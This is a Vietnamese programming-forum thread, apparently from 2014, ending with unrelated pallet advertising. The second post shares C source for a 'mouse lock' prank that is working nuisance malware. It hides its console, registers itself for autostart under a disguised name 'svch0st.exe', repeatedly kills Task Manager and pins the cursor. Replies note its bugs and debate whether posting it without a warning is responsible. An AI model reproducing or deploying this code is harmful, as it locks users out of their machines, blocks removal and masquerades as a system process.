-
03-05-2014, 08:23 AM #1Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Bạn này copy cái mã từ đâu về, chưa chịu chỉnh sửa, chắc cũng chưa biên dịch, đã thảy lên rồi, vội quá.
Mới đọc qua bằng mắt đã thấy có 2 chỗ có vấn đề:
1. "c:\\WINDOWS\\svch0st.exe". Bật Task Manager lên chỉ thấy có "svchost.exe" thôi nhé.
2. "SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run". Vội đến nỗi chưa kịp xóa khoảng trống giữa 2 dấu "\ \".
Sửa lại nhé bạn! Thân.View more random threads:
- Virtual Keyboard viết bằng MFC
- Source code hack game Virtual Villagers 5 - New Believers
- Visual Studio của em bị gì vậy mn. Help me!!!
- Source code hack game Dragon Keeper 2
- Cần source của chương trình quản lý quán internet
- Mã nguồn game dò mìn trên Windows.
- Mã nguồn chương trình nghe file midi!
- WinDib - Giấu tập tin trong ảnh với MFC
- Source code hack plant vs zombie (Demo global hook dễ hiểu)
- Phần mềm minh họa hệ mật mã khóa công khai (RSA)
-
03-05-2014, 04:02 PM #2Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Code C khóa chuột máy tính. Buồn buồn nghịch chơi tí :)
#include <windows.h>
#include <winbase.h>
#include <tlhelp32.h>
#include <ctype.h>
#include <string.h>
#define BUFSIZE 90
int test_key(void);
int create_key(char *);
int kill(void);
BOOL KillProcess(LPSTR lpszExecutable)
{
BOOL bResult = FALSE;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(hProcesses, &pe32)){
do{
if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
}
}
}while(Process32Next(hProcesses, &pe32));
CloseHandle(hProcesses);
}
return bResult;
}
int main(void)
{
int test,create;
test=test_key();
if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);
}
HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;
for(c=0;c<999999999999;c++)
{
kill();
SetCursorPos(1,900);
Sleep(9);
}
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QU ERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
int kill(void)
{
return KillProcess("taskmgr.exe");
}
-
04-05-2014, 03:32 PM #3Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
ò. cảm ơn góp ý sâu sắc của anh!. Đương nhiên em biết 2 vấn đề mà anh đề cập, và em không dại gì mà thử trò này, em bê nguyên của tác giả lên được chưa anh. [IMG]images/smilies/wink.png[/IMG]
-
04-05-2014, 04:02 PM #4Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Nếu vậy thì bạn cũng nên cảnh báo chứ nhỉ, đó mới là chia sẻ và học hỏi. Bạn đã không dại gì thử trò này, vậy nếu bạn nào khác cố gắng chỉnh sửa, biên dịch rồi chạy thì sẽ ra sao.
Thôi, lần sau đừng thử như vậy nữa bạn, chia sẻ vài cảm nghĩ với bạn, thân !
-
04-05-2014, 04:28 PM #5Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
anh căng thẳng quá rồi.hihi. Em nghĩ chắc chẳng có ai dại mà thử. Muốn đem lên cho mọi người xem code thôi mà [IMG]images/smilies/biggrin.png[/IMG]
- - - Nội dung đã được cập nhật ngày 04-05-2014 lúc 09:28 PM - - -
em nghĩ chẳng có ai dại mà thử đâu. Muốn show lên cho mọi người xem code thôi [IMG]images/smilies/biggrin.png[/IMG]
Pallet nhựa Lâm Đồng giải pháp hoàn hảo cho nhà kho Pallet nhựa Lâm Đồng là một giải pháp đa năng và hiệu quả trong việc vận chuyển và lưu trữ hàng hóa. Trong đó, pallet nhựa Lâm Đồng không chỉ đáp...
Pallet nhựa Lâm Đồng giải pháp...